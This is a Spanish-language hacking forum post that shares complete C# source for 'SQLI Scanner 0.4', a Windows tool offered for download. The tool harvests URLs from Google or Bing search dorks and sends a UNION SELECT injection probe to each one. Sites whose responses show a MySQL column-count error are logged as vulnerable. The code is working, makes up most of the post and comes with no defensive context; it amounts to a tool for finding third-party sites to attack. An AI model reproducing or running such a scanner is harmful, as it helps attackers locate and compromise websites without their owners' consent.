elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recopilación Tutoriales y Manuales Hacking, Seguridad, Privacidad, Hardware, etc


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP) (Moderador: kub0x)
| | | |-+  [C#] SQLI Scanner 0.4
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [C#] SQLI Scanner 0.4  (Leído 2,671 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[C#] SQLI Scanner 0.4
« en: 18 Julio 2014, 01:36 am »

Un simple programa en C# para buscar paginas vulnerables a SQLI usando Google o Bing.

Una imagen :



Los codigos :

Form1.cs

Código
  1. // SQLI Scanner 0.4
  2. // (C) Doddy Hackman 2014
  3.  
  4. using System;
  5. using System.Collections.Generic;
  6. using System.ComponentModel;
  7. using System.Data;
  8. using System.Drawing;
  9. using System.Text;
  10. using System.Windows.Forms;
  11. using System.IO;
  12. using System.Text.RegularExpressions;
  13.  
  14. namespace SQLI_Scanner
  15. {
  16.    public partial class Form1 : Form
  17.    {
  18.        public Form1()
  19.        {
  20.            InitializeComponent();
  21.        }
  22.  
  23.        private void button1_Click(object sender, EventArgs e)
  24.        {
  25.  
  26.            listBox1.Items.Clear();
  27.  
  28.            DH_Tools tools = new DH_Tools();
  29.            funciones funcion = new funciones();
  30.  
  31.            toolStripStatusLabel1.Text = "[+] Searching ...";
  32.            this.Refresh();
  33.  
  34.            List<string> urls = new List<string> { };
  35.  
  36.            if (comboBox1.Text == "Bing")
  37.            {
  38.                urls = funcion.bingsearch(textBox1.Text, textBox2.Text);
  39.                urls = tools.repes(tools.cortar(urls));
  40.            }
  41.            else
  42.            {
  43.                urls = funcion.googlesearch(textBox1.Text, textBox2.Text);
  44.                urls = tools.repes(tools.cortar(urls));
  45.            }
  46.  
  47.            foreach (string url in urls)
  48.            {
  49.                listBox1.Items.Add(url);
  50.            }
  51.  
  52.            if (listBox1.Items.Count == 0)
  53.            {
  54.                MessageBox.Show("Not Found");
  55.            }
  56.  
  57.            toolStripStatusLabel1.Text = "[+] Search finished";
  58.            this.Refresh();
  59.        }
  60.  
  61.        private void button2_Click(object sender, EventArgs e)
  62.        {
  63.  
  64.            toolStripStatusLabel1.Text = "[+] Scanning ...";
  65.            this.Refresh();
  66.  
  67.            listBox2.Items.Clear();
  68.  
  69.            DH_Tools tools = new DH_Tools();
  70.  
  71.            String url = "";
  72.            String code = "";
  73.  
  74.            List<string> urls_to_scan = new List<string> { };
  75.  
  76.            foreach (object write in listBox1.Items)
  77.            {
  78.                urls_to_scan.Add(write.ToString());
  79.            }
  80.  
  81.            if (listBox1.Items.Count == 0)
  82.            {
  83.                MessageBox.Show("Not Found");
  84.            }
  85.            else
  86.            {
  87.  
  88.                foreach (string page in urls_to_scan)
  89.                {
  90.  
  91.                    toolStripStatusLabel1.Text = "[+] Checking : "+page;
  92.                    this.Refresh();
  93.  
  94.                    code = tools.toma(page + "-1+union+select+666--");
  95.  
  96.                    Match regex = Regex.Match(code, "The used SELECT statements have a different number of columns", RegexOptions.IgnoreCase);
  97.                    if (regex.Success)
  98.                    {
  99.                        listBox2.Items.Add(page);
  100.                        tools.savefile("sqli-logs.txt", page);
  101.                    }
  102.                }
  103.  
  104.                if (listBox2.Items.Count == 0)
  105.                {
  106.                    MessageBox.Show("Not Found");
  107.                }
  108.  
  109.            }
  110.  
  111.            toolStripStatusLabel1.Text = "[+] Scan Finished";
  112.            this.Refresh();
  113.  
  114.        }
  115.  
  116.        private void button3_Click(object sender, EventArgs e)
  117.        {
  118.            DH_Tools tools = new DH_Tools();
  119.            if (File.Exists("sqli-logs.txt"))
  120.            {
  121.                tools.console("sqli-logs.txt");
  122.            }
  123.            else
  124.            {
  125.                MessageBox.Show("Logs not found");
  126.            }
  127.        }
  128.  
  129.        private void button4_Click(object sender, EventArgs e)
  130.        {
  131.            Application.Exit();
  132.        }
  133.  
  134.        private void listBox1_DoubleClick(object sender, EventArgs e)
  135.        {
  136.            DH_Tools tools = new DH_Tools();
  137.            tools.console("start "+listBox1.SelectedItem.ToString());
  138.  
  139.        }
  140.  
  141.        private void listBox2_DoubleClick(object sender, EventArgs e)
  142.        {
  143.            DH_Tools tools = new DH_Tools();
  144.            tools.console("start " + listBox2.SelectedItem.ToString());
  145.        }
  146.    }
  147. }
  148.  
  149. // The End ?
  150.  

funciones.cs

Código
  1. // Funciones para SQLI Scanner 0.4
  2. // (C) Doddy Hackman 2014
  3.  
  4. using System;
  5. using System.Collections.Generic;
  6. using System.Text;
  7. using System.Net;
  8. using System.Text.RegularExpressions;
  9. using System.Web;
  10.  
  11. namespace SQLI_Scanner
  12. {
  13.    class funciones
  14.    {
  15.        public List<String> bingsearch(string dork, string cantidad)
  16.        {
  17.  
  18.            String code = "";
  19.            Int16 num = 0;
  20.  
  21.            //String dork = "index.php+id";
  22.            //String cantidad = "20";
  23.  
  24.            String url_cortar = "";
  25.            String url_final = "";
  26.  
  27.            WebClient nave = new WebClient();
  28.            nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  29.  
  30.            List<string> urls = new List<string> { };
  31.  
  32.            for (num = 10; num <= Convert.ToInt16(cantidad); num += 10)
  33.            {
  34.  
  35.                code = nave.DownloadString("http://www.bing.com/search?q=" + dork + "&first=" + num);
  36.  
  37.                Match regex1 = Regex.Match(code, "<h3><a href=\"(.*?)\"", RegexOptions.IgnoreCase);
  38.                while (regex1.Success)
  39.                {
  40.                    url_cortar = regex1.Groups[1].Value;
  41.                    Match regex2 = Regex.Match(url_cortar, "(.*?)=(.*?)", RegexOptions.IgnoreCase);
  42.                    if (regex2.Success)
  43.                    {
  44.                        url_final = regex2.Groups[1].Value + "=";
  45.                        urls.Add(url_final);
  46.                    }
  47.  
  48.                    regex1 = regex1.NextMatch();
  49.  
  50.                }
  51.  
  52.            }
  53.  
  54.            return urls;
  55.  
  56.        }
  57.  
  58.        public List<String> googlesearch(string dork, string paginas)
  59.        {
  60.  
  61.            String code = "";
  62.            Int16 num = 0;
  63.            String lineafinale = "";
  64.            String leer = "";
  65.  
  66.            WebClient nave = new WebClient();
  67.            nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  68.  
  69.            List<string> urlsgoogle = new List<string> { };
  70.  
  71.            for (num = 10; num <= Convert.ToInt16(paginas); num += 10)
  72.            {
  73.                code = nave.DownloadString("http://www.google.com/search?hl=&q=" + dork + "&start=" + num);
  74.  
  75.                Match regex = Regex.Match(code, "(?<=\"r\"><. href=\")(.+?)\"", RegexOptions.IgnoreCase);
  76.                while (regex.Success)
  77.                {
  78.                    leer = Uri.UnescapeDataString(regex.Groups[1].Value);
  79.                    Match cortada = Regex.Match(leer, @"\/url\?q\=(.*?)\&amp\;", RegexOptions.IgnoreCase);
  80.                    if (cortada.Success)
  81.                    {
  82.                        lineafinale = cortada.Groups[1].Value;
  83.                    }
  84.                    else
  85.                    {
  86.                        lineafinale = leer;
  87.                    }
  88.  
  89.                    urlsgoogle.Add(lineafinale);
  90.  
  91.                    regex = regex.NextMatch();
  92.                }
  93.  
  94.  
  95.            }
  96.  
  97.            return urlsgoogle;
  98.  
  99.        }
  100.    }
  101. }
  102.  
  103. // The End ?
  104.  

DH_Tools.cs

Código
  1. // Class Name : DH Tools
  2. // Version : Beta
  3. // Author : Doddy Hackman
  4. // (C) Doddy Hackman 2014
  5. //
  6. // Functions :
  7. //
  8. // [+] HTTP Methods GET & POST
  9. // [+] Get HTTP Status code number
  10. // [+] HTTP FingerPrinting
  11. // [+] Read File
  12. // [+] Write File
  13. // [+] GET OS
  14. // [+] Remove duplicates from a List
  15. // [+] Cut urls from a List
  16. // [+] Download
  17. // [+] Upload
  18. // [+] Get Basename from a path
  19. // [+] Execute commands
  20. // [+] URI Split
  21. // [+] MD5 Hash Generator
  22. // [+] Get MD5 of file
  23. // [+] Get IP address from host name
  24. //
  25. // Credits :
  26. //
  27. // Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx
  28. // Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable
  29. // HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx
  30. // List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+
  31. // Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C
  32. // MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm
  33. // Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file
  34. //
  35. // Thanks to : $DoC and atheros14 (Forum indetectables)
  36. //
  37.  
  38. using System;
  39. using System.Collections.Generic;
  40. using System.Text;
  41.  
  42. using System.Net;
  43. using System.IO;
  44. using System.Text.RegularExpressions;
  45. using System.Security.Cryptography;
  46.  
  47. namespace SQLI_Scanner
  48. {
  49.    class DH_Tools
  50.    {
  51.        public string toma(string url)
  52.        {
  53.            string code = "";
  54.  
  55.            try
  56.            {
  57.                WebClient nave = new WebClient();
  58.                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  59.                code = nave.DownloadString(url);
  60.            }
  61.            catch
  62.            {
  63.                //
  64.            }
  65.            return code;
  66.        }
  67.  
  68.        public string tomar(string url, string par)
  69.        {
  70.  
  71.            string code = "";
  72.  
  73.            try
  74.            {
  75.  
  76.                HttpWebRequest nave = (HttpWebRequest)
  77.                WebRequest.Create(url);
  78.  
  79.                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  80.                nave.Method = "POST";
  81.                nave.ContentType = "application/x-www-form-urlencoded";
  82.  
  83.                Stream anteantecode = nave.GetRequestStream();
  84.  
  85.                anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length);
  86.                anteantecode.Close();
  87.  
  88.                StreamReader antecode = new StreamReader(nave.GetResponse().GetResponseStream());
  89.                code = antecode.ReadToEnd();
  90.  
  91.            }
  92.            catch
  93.            {
  94.                //
  95.            }
  96.  
  97.            return code;
  98.  
  99.        }
  100.  
  101.        public string respondecode(string url)
  102.        {
  103.            String code = "";
  104.            try
  105.            {
  106.                HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url);
  107.                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  108.                HttpWebResponse num = (HttpWebResponse)nave.GetResponse();
  109.  
  110.                int number = (int)num.StatusCode;
  111.                code = Convert.ToString(number);
  112.  
  113.            }
  114.            catch
  115.            {
  116.  
  117.                code = "404";
  118.  
  119.            }
  120.            return code;
  121.        }
  122.  
  123.        public string httpfinger(string url)
  124.        {
  125.  
  126.            String code = "";
  127.  
  128.            try
  129.            {
  130.  
  131.                HttpWebRequest nave1 = (HttpWebRequest)WebRequest.Create(url);
  132.                HttpWebResponse nave2 = (HttpWebResponse)nave1.GetResponse();
  133.  
  134.                for (int num = 0; num < nave2.Headers.Count; ++num)
  135.                {
  136.                    code = code + "[+] " + nave2.Headers.Keys[num] + ":" + nave2.Headers[num] + Environment.NewLine;
  137.                }
  138.  
  139.                nave2.Close();
  140.            }
  141.            catch
  142.            {
  143.                //
  144.            }
  145.  
  146.            return code;
  147.  
  148.        }
  149.  
  150.        public string openword(string file)
  151.        {
  152.            String code = "";
  153.            try
  154.            {
  155.                code = System.IO.File.ReadAllText(file);
  156.            }
  157.            catch
  158.            {
  159.                //
  160.            }
  161.            return code;
  162.        }
  163.  
  164.        public void savefile(string file, string texto)
  165.        {
  166.  
  167.            try
  168.            {
  169.                System.IO.StreamWriter save = new System.IO.StreamWriter(file, true);
  170.                save.Write(texto);
  171.                save.Close();
  172.            }
  173.            catch
  174.            {
  175.                //
  176.            }
  177.        }
  178.  
  179.        public string getos()
  180.        {
  181.            string code = "";
  182.  
  183.            try
  184.            {
  185.                System.OperatingSystem os = System.Environment.OSVersion;
  186.                code = Convert.ToString(os);
  187.            }
  188.            catch
  189.            {
  190.                code = "?";
  191.            }
  192.  
  193.            return code;
  194.        }
  195.  
  196.        public List<string> repes(List<string> array)
  197.        {
  198.            List<string> repe = new List<string>();
  199.            foreach (string lin in array)
  200.            {
  201.                if (!repe.Contains(lin))
  202.                {
  203.                    repe.Add(lin);
  204.                }
  205.            }
  206.  
  207.            return repe;
  208.  
  209.        }
  210.  
  211.        public List<string> cortar(List<string> otroarray)
  212.        {
  213.            List<string> cort = new List<string>();
  214.  
  215.            foreach (string row in otroarray)
  216.            {
  217.  
  218.                String lineafinal = "";
  219.  
  220.                Match regex = Regex.Match(row, @"(.*)\?(.*)=(.*)", RegexOptions.IgnoreCase);
  221.                if (regex.Success)
  222.                {
  223.                    lineafinal = regex.Groups[1].Value + "?" + regex.Groups[2].Value + "=";
  224.                    cort.Add(lineafinal);
  225.                }
  226.  
  227.            }
  228.  
  229.            return cort;
  230.        }
  231.  
  232.        public string download(string url, string savename)
  233.        {
  234.  
  235.            String code = "";
  236.  
  237.            WebClient nave = new WebClient();
  238.            nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  239.  
  240.            try
  241.            {
  242.                nave.DownloadFile(url, savename);
  243.                code = "OK";
  244.            }
  245.            catch
  246.            {
  247.                code = "Error";
  248.            }
  249.  
  250.            return code;
  251.        }
  252.  
  253.        public string upload(string link, string archivo)
  254.        {
  255.  
  256.            String code = "";
  257.  
  258.            try
  259.            {
  260.  
  261.                WebClient nave = new WebClient();
  262.                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  263.                byte[] codedos = nave.UploadFile(link, "POST", archivo);
  264.                code = System.Text.Encoding.UTF8.GetString(codedos, 0, codedos.Length);
  265.  
  266.            }
  267.  
  268.            catch
  269.            {
  270.                code = "Error";
  271.            }
  272.  
  273.            return code;
  274.  
  275.        }
  276.  
  277.        public string basename(string file)
  278.        {
  279.            String nombre = "";
  280.  
  281.            FileInfo basename = new FileInfo(file);
  282.            nombre = basename.Name;
  283.  
  284.            return nombre;
  285.  
  286.        }
  287.  
  288.        public string console(string cmd)
  289.        {
  290.  
  291.            string code = "";
  292.  
  293.            try
  294.            {
  295.  
  296.                System.Diagnostics.ProcessStartInfo loadnow = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd);
  297.                loadnow.RedirectStandardOutput = true;
  298.                loadnow.UseShellExecute = false;
  299.                loadnow.CreateNoWindow = true;
  300.                System.Diagnostics.Process loadnownow = new System.Diagnostics.Process();
  301.                loadnownow.StartInfo = loadnow;
  302.                loadnownow.Start();
  303.                code = loadnownow.StandardOutput.ReadToEnd();
  304.  
  305.            }
  306.  
  307.            catch
  308.            {
  309.                code = "Error";
  310.            }
  311.  
  312.            return code;
  313.  
  314.        }
  315.  
  316.        public string urisplit(string url, string opcion)
  317.        {
  318.  
  319.            string code = "";
  320.  
  321.            Uri dividir = new Uri(url);
  322.  
  323.            if (opcion == "host")
  324.            {
  325.                code = dividir.Host;
  326.            }
  327.  
  328.            if (opcion == "port")
  329.            {
  330.                code = Convert.ToString(dividir.Port);
  331.            }
  332.  
  333.            if (opcion == "path")
  334.            {
  335.                code = dividir.LocalPath;
  336.            }
  337.  
  338.            if (opcion == "file")
  339.            {
  340.                code = dividir.AbsolutePath;
  341.                FileInfo basename = new FileInfo(code);
  342.                code = basename.Name;
  343.            }
  344.  
  345.            if (opcion == "query")
  346.            {
  347.                code = dividir.Query;
  348.            }
  349.  
  350.            if (opcion == "")
  351.            {
  352.                code = "Error";
  353.            }
  354.  
  355.            return code;
  356.        }
  357.  
  358.        public string convertir_md5(string text)
  359.        {
  360.            MD5 convertirmd5 = MD5.Create();
  361.            byte[] infovalor = convertirmd5.ComputeHash(Encoding.Default.GetBytes(text));
  362.            StringBuilder guardar = new StringBuilder();
  363.            for (int numnow = 0; numnow < infovalor.Length; numnow++)
  364.            {
  365.                guardar.Append(infovalor[numnow].ToString("x2"));
  366.            }
  367.            return guardar.ToString();
  368.        }
  369.  
  370.        public string md5file(string file)
  371.        {
  372.  
  373.            string code = "";
  374.  
  375.            try
  376.            {
  377.                var gen = MD5.Create();
  378.                var ar = File.OpenRead(file);
  379.                code = BitConverter.ToString(gen.ComputeHash(ar)).Replace("-", "").ToLower();
  380.  
  381.            }
  382.            catch
  383.            {
  384.                code = "Error";
  385.            }
  386.  
  387.            return code;
  388.        }
  389.  
  390.        public string getip(string host)
  391.        {
  392.            string code = "";
  393.            try
  394.            {
  395.                IPAddress[] find = Dns.GetHostAddresses(host);
  396.                code = find[0].ToString();
  397.            }
  398.            catch
  399.            {
  400.                code = "Error";
  401.            }
  402.            return code;
  403.        }
  404.  
  405.    }
  406. }
  407.  
  408. // The End ?
  409.  

Si lo quieren bajar lo pueden hacer de aca.


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Ruby] SQLI Scanner
Scripting
BigBear 0 1,947 Último mensaje 7 Octubre 2011, 01:32 am
por BigBear
SQLi
Nivel Web
hache1989 2 2,651 Último mensaje 18 Diciembre 2012, 06:15 am
por dRak0
[Java] SQLI Scanner 0.2
Java
BigBear 1 2,836 Último mensaje 22 Enero 2013, 16:27 pm
por Slider324
[Ruby] SQLI Scanner 0.4
Scripting
BigBear 0 1,669 Último mensaje 7 Agosto 2015, 22:25 pm
por BigBear
[Java] SQLI Scanner 0.4
Java
BigBear 0 1,462 Último mensaje 5 Marzo 2016, 16:15 pm
por BigBear
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines